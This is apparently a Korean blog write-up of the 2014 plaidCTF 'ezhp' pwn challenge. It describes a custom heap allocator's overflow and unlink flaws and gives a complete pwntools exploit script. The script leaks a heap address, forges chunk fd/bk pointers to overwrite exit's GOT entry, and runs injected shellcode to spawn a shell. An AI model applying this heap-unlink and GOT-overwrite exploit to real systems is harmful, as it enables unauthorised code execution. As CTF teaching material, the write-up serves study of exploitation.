2014 plaidCTF ezhp
1번 메뉴에서 최대 1022개까지 buf[0]부터 쭉 주소 값을 넣을 수 있다. alignment가 12인 custom malloc인듯하다. delta는 intptr_t 자료형인데 int랑 별반 다를거 없는 것 같다..
그리고 2번 메뉴에서 size, bk, fd를 가지고 unlink를 수행한다.
3번 메뉴에서는 오버플로우가 나서 다음 청크의 size, fd, bk를 덮어씌울 수 있다.
마지막으로 4번 메뉴에서 null byte를 없애 leak을 진행할 수 있다.
풀면서 안건데 heap에 쉘코드 넣었을 때 쉘코드 오염되는거 잘 보셔야 합니다..ㅜ unlink 하고 바로 익스플로잇은 쉘코드가 오염되서 힘들고 한번 더 change하고 익스해야겠네요.
어쨋든 전체적인 익스플로잇 흐름도는 다음과 같다.
x
from pwn import *
e = ELF('./ezhp')
s = process('./ezhp')
def add(size):
s.recvuntil('Please choose an option.\n')
s.sendline('1')
s.recvuntil('\n')
s.sendline(size)
def remove(id_):
s.recvuntil('Please choose an option.\n')
s.sendline('2')
s.recvuntil('\n')
s.sendline(id_)
def change(id_, size, data):
s.recvuntil('Please choose an option.\n')
s.sendline('3')
s.recvuntil('\n')
s.sendline(id_)
s.recvuntil('\n')
s.sendline(size)
s.recvuntil('\n')
s.sendline(data)
def print_(id_):
s.recvuntil('Please choose an option.\n')
s.sendline('4')
s.recvuntil('\n')
s.sendline(id_)
def leak_note():
leak = u32(s.recv(24)[-4:])
print('note leak!: {}'.format(hex(leak)))
return leak
add('0') # buf[0]
add('0') # buf[1]
change('0', '20', 'A'*20)
print_('0')
note_0 = leak_note()
note_1_data = note_0 + 36
exit_got = e.got['exit']
fd = exit_got - 8
bk = note_1_data
pay = 'A' * 12
pay += p32(0x19) + p32(fd) + p32(bk) # fd->bk = bk
pay += asm(shellcraft.sh())
change('0', str(len(pay)), pay)
remove('1') # unlink!
change('0', str(len(pay)), pay)
s.recv()
s.sendline('6') # exit trigger
s.interactive()
우여곡절 끝에 쉘! 이제 밥먹으러..
'system > writeup' 카테고리의 다른 글
pwnable.tw start (0) | 2019.01.05 |
---|---|
2017 codegate babypwn (0) | 2019.01.04 |
2014 codegate angry_doraemon (0) | 2019.01.04 |
2013 hdcon luckyzzang (0) | 2019.01.02 |
2016 whithat malloc (0) | 2019.01.01 |